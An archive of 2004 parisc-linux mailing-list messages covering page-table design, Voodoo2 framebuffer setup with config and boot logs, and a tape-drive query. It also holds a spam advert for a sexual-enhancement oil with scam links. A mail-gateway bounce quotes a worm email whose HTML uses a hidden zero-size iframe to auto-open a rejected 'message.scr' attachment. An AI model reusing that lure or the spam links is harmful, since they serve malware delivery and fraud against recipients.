I think we can all agree that the results presented in the paper show
(albeit indirectly) that IPT performs worse than a 2 level page table
(FMPT in the paper).

However, as far as linux goes, the abstraction would actually cover a 1
level page table as well ... and we could make a HPT directly emulate a
1-level table as long as we did the hash chain walking within the
pgd_offset macro.

> If you can't do it (i.e. hide it completely within the parisc arch code) then
> you need to be talking to Linus and convince him first, unless you are
> advocating maintaining a large patch against machine independent code.

However, realistically, I think a global HPT is incompatible with the
way linux does VM and a local HPT (one per process) while possible, gets
us into awful memory allocation problems to the extent that it's not
worth bothering with.  Therefore, I think a 2 level table will be
optimal for us.

James




From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo 2
Date: Tue, 13 Apr 2004 00:21:13 -0400
Organization: wh0rd.org
Lines: 23
Approved: news@gmane.org
Message-ID: <200404130021.13209.vapier@gentoo.org>
References: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
	<200404122309.59140.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623365 8195 80.91.229.3 (22 Nov 2014 02:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: vapier@gentoo.org  Mon Apr 12 22:21:29 2004
Return-Path: <vapier@gentoo.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [212.13.198.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 619CA49F0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 22:21:28 -0600 (MDT)
Original-Received: (qmail 1336 invoked from network); 13 Apr 2004 00:21:12 -0400
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 13 Apr 2004 00:21:12 -0400
Original-Received: (qmail 18089 invoked from network); 13 Apr 2004 06:19:18 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 13 Apr 2004 06:19:18 -0400
User-Agent: KMail/1.6.1
In-Reply-To: <200404122309.59140.deller@gmx.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Apr 2004 04:21:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21391

On Monday 12 April 2004 05:09 pm, Helge Deller wrote:
> On Monday 12 April 2004 01:12, M. Grabert wrote:
> > - What about 2.6? I don't think that it's been forwarded to 2.6 yet?
>
> It's in 2.6. I just tested my Vodoo2 in my c3k and it works.
> Linux version 2.6.5-pa6 (root@p100) (gcc version 3.0.2 20010829
> (prerelease)) #29 Mon Apr 12 22:46:03 CEST 2004 The 32-bit Kernel has
> started...
> ..
> sstfb: Voodoo2 (revision 2) with ICS ICS5342 dac
> sstfb: framebuffer at 0xfb400000, mapped to 0xfb400000, size 2MB
> fb0: Voodoo2 frame buffer device at 0xfb400000
> ..

this interests me since i'd love to get something better than the 8bit vid 
card running in my C360 :)

i threw my obsidian voodoo2 into my box, but it did what it always has for 
me ... i build the sstfb as a module and when i modprobe it, the box locks 
up ... i builld it as a module because otherwise it'll lock at boot and i 
have to do a little manual rescue foo :)
-mike


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo 2
Date: Tue, 13 Apr 2004 09:59:22 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <200404130959.23054.deller@gmx.de>
References: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
	<200404122309.59140.deller@gmx.de>
	<200404130021.13209.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623366 8200 80.91.229.3 (22 Nov 2014 02:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Tue Apr 13 01:59:28 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 39820495C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Apr 2004 01:59:28 -0600 (MDT)
Original-Received: (qmail 15033 invoked by uid 65534); 13 Apr 2004 07:59:26 -0000
Original-Received: from pD9040232.dip.t-dialin.net (EHLO p100) (217.4.2.50)
	by mail.gmx.net (mp015) with SMTP; 13 Apr 2004 09:59:26 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <200404130021.13209.vapier@gentoo.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Apr 2004 07:59:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21392

On Tuesday 13 April 2004 06:21, Mike Frysinger wrote:
> On Monday 12 April 2004 05:09 pm, Helge Deller wrote:
> > On Monday 12 April 2004 01:12, M. Grabert wrote:
> > > - What about 2.6? I don't think that it's been forwarded to 2.6 yet?
> >
> > It's in 2.6. I just tested my Vodoo2 in my c3k and it works.
> > Linux version 2.6.5-pa6 (root@p100) (gcc version 3.0.2 20010829
> > (prerelease)) #29 Mon Apr 12 22:46:03 CEST 2004 The 32-bit Kernel has
> > started...
> > ..
> > sstfb: Voodoo2 (revision 2) with ICS ICS5342 dac
> > sstfb: framebuffer at 0xfb400000, mapped to 0xfb400000, size 2MB
> > fb0: Voodoo2 frame buffer device at 0xfb400000
> > ..
> 
> this interests me since i'd love to get something better than the 8bit vid 
> card running in my C360 :)
> 
> i threw my obsidian voodoo2 into my box, but it did what it always has for 
> me ... i build the sstfb as a module and when i modprobe it, the box locks 
> up ... i builld it as a module because otherwise it'll lock at boot and i 
> have to do a little manual rescue foo :)

My above test was with the sstfb driver built-in into the kernel and with all
other graphics drivers (incl. stifb and STI text console) disabled.

FYI, this is what my graphics-relevant part of .config looked like:
#
# Graphics support
#
CONFIG_FB=y
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_IMSTT is not set
# CONFIG_FB_STI is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON_OLD is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
CONFIG_FB_VOODOO1=y
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_VIRTUAL is not set

#
# Console display driver support
#
# CONFIG_MDA_CONSOLE is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_DUMMY_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_PCI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y

#
# Logo configuration
#
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y


Then, in a second test I enabled STIFB, and choosed SSTFB as module.
Booting up worked:
Linux version 2.6.5-pa6 (root@p100) (gcc version 3.0.2 20010829 (prerelease)) #30 Tue Apr 13 09:49:08 CEST 2004
....
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f2400000 (64 kB), fb at f8000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1024
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7, mmio: 0xf8100000
stifb: 'A1262A' (id: 0x35acda30) not supported.
.... (the second card 'A1262A' is a Visualize FX4 - it doesn't work!)

c3000:~# modprobe sstfb
sstfb: Voodoo2 (revision 2) with ICS ICS5342 dac
sstfb: framebuffer at 0xfb400000, mapped to 0xfb400000, size 2MB
fb1: Voodoo2 frame buffer device at 0xfb400000

c3000:~# cat /proc/fb 
0 stifb
1 Voodoo2

Works too...

Helge


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Parents" <jessie21spate@mail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Rock Solid Erect.ions In 60 Seconds!
Date: Sun, 21 Mar 2004 12:52:04 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <vgwvea.47513615ffxmpnaek@Parentsilgywanpsf.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623366 8204 80.91.229.3 (22 Nov 2014 02:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jessie21spate@mail.com  Tue Apr 13 04:54:08 2004
Return-Path: <jessie21spate@mail.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux (91.Red-80-24-197.pooles.rima-tde.net
	[80.24.197.91])
	by dsl2.external.hp.com (Postfix) with SMTP id 8FB5049F1
	for <parisc-linux@parisc-linux.org>;
	Tue, 13 Apr 2004 04:54:07 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-X-Original-Date: Tue, 13 Apr 2004 10:54:08 -0000
X-List-Received-Date: Tue, 13 Apr 2004 10:54:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21393

<html>
<head>
   <title>hardonoil1</title>
</head>
<body>

<center><b><font face="Arial,Helvetica"><font size=+1>MASSIVE
ROCK-SOLID EREC.TIONS</font></font></font></b>
<br><b><font face="Arial,Helvetica"><font size=+1>IN
60 SECONDS OR LESS!</font></font></font></b>
<p><b><font face="Arial,Helvetica"><font size=+1>ITS
HERE THE NEW</font></font></font></b>
<br><b><font face="Arial,Helvetica"><font color=

"#FF0000"><font size=+2>VirilityEx Oil</font></font></font></b>
<br><font face="Verdana"><font size=-1>- Immediate Rock-Solid Erec.tions</font></font>
<br><font face="Verdana"><font size=-1>- Total, Oversize Arousal</font></font>
<br><font face="Verdana"><font size=-1>- Double-Strength Org.asms</font></font>
<br><font face="Verdana"><font size=-1>- Super Staying Power</font></font>
<br><font face="Verdana"><font size=-1>- Maximum Sexual Health</font></font>
<br><font face="Verdana"><font size=-1>- Increase the Size and Intensity
of your Erec.tions!</font></font>
<br><font face="Verdana"><font size=-1>- Completely Safe and Effective
Lubri.cant!</font></font>
<p><b><u><font color=

"#FF0000"><font size=+1><a hrefsphinxhref=http://bummed.com href=

"http://drifts.herb99.info/h/?kadafi">READ
MORE INFO HERE</a></font></font></u></b>
<br>
<br>
<br>
<br>
<p><font size=-2><a hrefbirchenhref=http://closers.com href=

"http://kilobit.herbmedz.info/1v3.html">no more emailz</a></font></center>

</body>
</html>




From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Tue, 13 Apr 2004 10:28:24 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20040413142824.GK21362@baldric.uwo.ca>
References: <200404122331.i3CNVxI03436@udlkern.fc.hp.com>
	<1081813454.2234.51.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623366 8206 80.91.229.3 (22 Nov 2014 02:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:26 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: carlos@baldric.uwo.ca  Tue Apr 13 08:28:37 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7932848AC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Apr 2004 08:28:37 -0600 (MDT)
Original-Received: from systemhalted ([24.43.36.210])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040413142713.DKEM360069.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Tue, 13 Apr 2004 10:27:13 -0400
Content-Disposition: inline
In-Reply-To: <1081813454.2234.51.camel@mulgrave>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (99% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.36.210]
	using ID <patofiero@rogers.com> at Tue,
	13 Apr 2004 10:27:13 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Apr 2004 14:28:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21394


Yes, Linux assumes a lot about the general layout of the pte tables.

> I think we can all agree that the results presented in the paper show
> (albeit indirectly) that IPT performs worse than a 2 level page table
> (FMPT in the paper).

Correct.
 
> However, as far as linux goes, the abstraction would actually cover a 1
> level page table as well ... and we could make a HPT directly emulate a
> 1-level table as long as we did the hash chain walking within the
> pgd_offset macro.

Yes.

> > If you can't do it (i.e. hide it completely within the parisc arch code) then
> > you need to be talking to Linus and convince him first, unless you are
> > advocating maintaining a large patch against machine independent code.
> 
> However, realistically, I think a global HPT is incompatible with the
> way linux does VM and a local HPT (one per process) while possible, gets
> us into awful memory allocation problems to the extent that it's not
> worth bothering with.  Therefore, I think a 2 level table will be
> optimal for us.

Yes, two-level / three-level systems are lower order allocations. The
difficult issue with HPT's is that we have no clear mechanism for
aliases, and shared mappings, possibly requiring more initial pgdir's or
some such hackery.

James, I meant only to hash out other possible alternatives, merely
being the pot stirrer or devils advocate :)

I think your idea is exactly what we need to cleanup that chunk of code,
possibly finding mistakes along the way. When you need help just holler.

c.



From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@mailgw1.cityu.edu.hk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Delivery Notification: Delivery has failed
Date: Wed, 14 Apr 2004 00:38:26 +0800 (CST)
Lines: 137
Approved: news@gmane.org
Message-ID: <0HW400DNXBK2WT@mailgw1.cityu.edu.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report;
	boundary="Boundary_(ID_KTah9tCgmsRlLUZSzo9rqg)";
	report-type=delivery-status
X-Trace: ger.gmane.org 1416623366 8208 80.91.229.3 (22 Nov 2014 02:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Tue Apr 13 10:39:09 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgw1.cityu.edu.hk (amy.cityu.edu.hk [144.214.5.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1E3C4890
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Apr 2004 10:39:09 -0600 (MDT)
Original-Received: from process-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
	(iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
	id <0HW400K01AKK7M@mailgw1.cityu.edu.hk> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 14 Apr 2004 00:38:26 +0800 (CST)
Original-Received: from mailgw1.cityu.edu.hk
	(iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
	id <0HW400D01BB1WT@mailgw1.cityu.edu.hk>;
	Wed, 14 Apr 2004 00:38:26 +0800 (CST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Apr 2004 16:39:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21395


--Boundary_(ID_KTah9tCgmsRlLUZSzo9rqg)
Content-type: text/plain; charset=us-ascii
Content-language: en-US
Content-transfer-encoding: 7BIT

This report relates to a message you sent with the following header fields:

  Return-path: <parisc-linux@lists.parisc-linux.org>
  Received: from conversion-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   id <0HW400D01BB1WT@mailgw1.cityu.edu.hk>
   (original mail from parisc-linux@lists.parisc-linux.org); Wed,
   14 Apr 2004 00:38:26 +0800 (CST)
  Received: from student.cityu.edu.hk
   (host81-153-13-18.range81-153.btcentralplus.com [81.153.13.18])
   by mailgw1.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   with ESMTP id <0HW400B88BJXQ4@mailgw1.cityu.edu.hk> for
   50265422@student.cityu.edu.hk; Wed, 14 Apr 2004 00:38:26 +0800 (CST)
  Date: Tue, 13 Apr 2004 17:38:43 +0100
  From: parisc-linux@lists.parisc-linux.org
  Subject: Mail Delivery (failure 50265422@student.cityu.edu.hk)
  To: 50265422@student.cityu.edu.hk
  Message-id: <0HW400B89BJYQ4@mailgw1.cityu.edu.hk>
  MIME-version: 1.0
  Content-type: multipart/related;
   boundary="Boundary_(ID_a65tlDhTYWcwXcocIDVPHA)"; type="multipart/alternative"
  X-Priority: 3
  X-MSMail-priority: Normal

Your message cannot be delivered to the following recipients:

  Recipient address: 50265422@student.cityu.edu.hk
  Reason: This email is rejected because an unsafe file is found: message.scr


--Boundary_(ID_KTah9tCgmsRlLUZSzo9rqg)
Content-type: message/delivery-status

Reporting-MTA: dns;mailgw1.cityu.edu.hk (conversion-daemon)

Original-recipient: rfc822;50265422@student.cityu.edu.hk
Final-recipient: rfc822;50265422@student.cityu.edu.hk
Action: failed
Status: 5.6.5
	(This email is rejected because an unsafe file is found: message.scr)

--Boundary_(ID_KTah9tCgmsRlLUZSzo9rqg)
Content-type: text/plain
Content-transfer-encoding: 7BIT

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from conversion-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 id <0HW400D01BB1WT@mailgw1.cityu.edu.hk>
 (original mail from parisc-linux@lists.parisc-linux.org); Wed,
 14 Apr 2004 00:38:26 +0800 (CST)
Received: from student.cityu.edu.hk
 (host81-153-13-18.range81-153.btcentralplus.com [81.153.13.18])
 by mailgw1.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 with ESMTP id <0HW400B88BJXQ4@mailgw1.cityu.edu.hk> for
 50265422@student.cityu.edu.hk; Wed, 14 Apr 2004 00:38:26 +0800 (CST)
Date: Tue, 13 Apr 2004 17:38:43 +0100
From: parisc-linux@lists.parisc-linux.org
Subject: Mail Delivery (failure 50265422@student.cityu.edu.hk)
To: 50265422@student.cityu.edu.hk
Message-id: <0HW400B89BJYQ4@mailgw1.cityu.edu.hk>
MIME-version: 1.0
Content-type: multipart/related;
 boundary="Boundary_(ID_a65tlDhTYWcwXcocIDVPHA)"; type="multipart/alternative"
X-Priority: 3
X-MSMail-priority: Normal

This is a multi-part message in MIME format.

--Boundary_(ID_a65tlDhTYWcwXcocIDVPHA)
Content-type: multipart/alternative;
 boundary="Boundary_(ID_fXmkw+bQYgbwurxmz0QFfA)"


--Boundary_(ID_fXmkw+bQYgbwurxmz0QFfA)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: QUOTED-PRINTABLE


--Boundary_(ID_fXmkw+bQYgbwurxmz0QFfA)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: QUOTED-PRINTABLE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" http-equiv=3DConten=
t-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>If the message will not displayed automatical=
ly,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 w=
idth=3D0>www.student.cityu.edu.hk/inbox/50265422/read.php?sessionid-2=
7916</a>
<iframe
src=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=
=3D0></iframe>
<DIV>&nbsp;</DIV></BODY></HTML>

--Boundary_(ID_fXmkw+bQYgbwurxmz0QFfA)--

--Boundary_(ID_a65tlDhTYWcwXcocIDVPHA)
Content-id: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re>
Content-type: text/plain; Name=UnsafeFile.txt
Content-transfer-encoding: 7BIT
Content-disposition: inline
Content-description: Unsafe file is rejected: message.scr

********* UNSAFE FILE IS REJECTED! *********

This email is bounced back to the sender because an
unsafe file is found.

* Name of the unsafe file: message.scr

Postmaster (Mail Administrator),
City University of Hong Kong
Email: postmaster@cityu.edu.hk

(Reference number: 20040414_003826_24607)
********************************************

--Boundary_(ID_a65tlDhTYWcwXcocIDVPHA)--

--Boundary_(ID_KTah9tCgmsRlLUZSzo9rqg)--


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C7497A DDS-4 Tape Drive
Date: Tue, 13 Apr 2004 16:47:23 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <407C51DB.87130860@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623367 8210 80.91.229.3 (22 Nov 2014 02:29:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jesse@cypress-tech.com  Tue Apr 13 14:44:34 2004
Return-Path: <jesse@cypress-tech.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net
	[209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49F6A48AC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Apr 2004 14:44:34 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.131]) by
	cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.6713);
	Tue, 13 Apr 2004 16:42:01 -0400
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
X-OriginalArrivalTime: 13 Apr 2004 20:42:01.0653 (UTC)
	FILETIME=[C5DC1650:01C42197]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Apr 2004 20:44:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21396

Does anyone happen to know where one could buy a C7497A DDS-4 tape drive
for the HP tape array 5300. I have tried HP (new & re-marketed), other
HP resellers such as my self, Ebay, Google searches, and a few other on
line wholesalers / inventory posting sites with no luck. These things
seem to be a tough cookie to locate. If anyone knows of a company or
individual that I can obtain one from, please let me know. I cant use
any substitutions, its got to be the C7497A

Thanks for your help
Jesse
Cypress Technology Inc
jesse@cypress-tech.com



From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
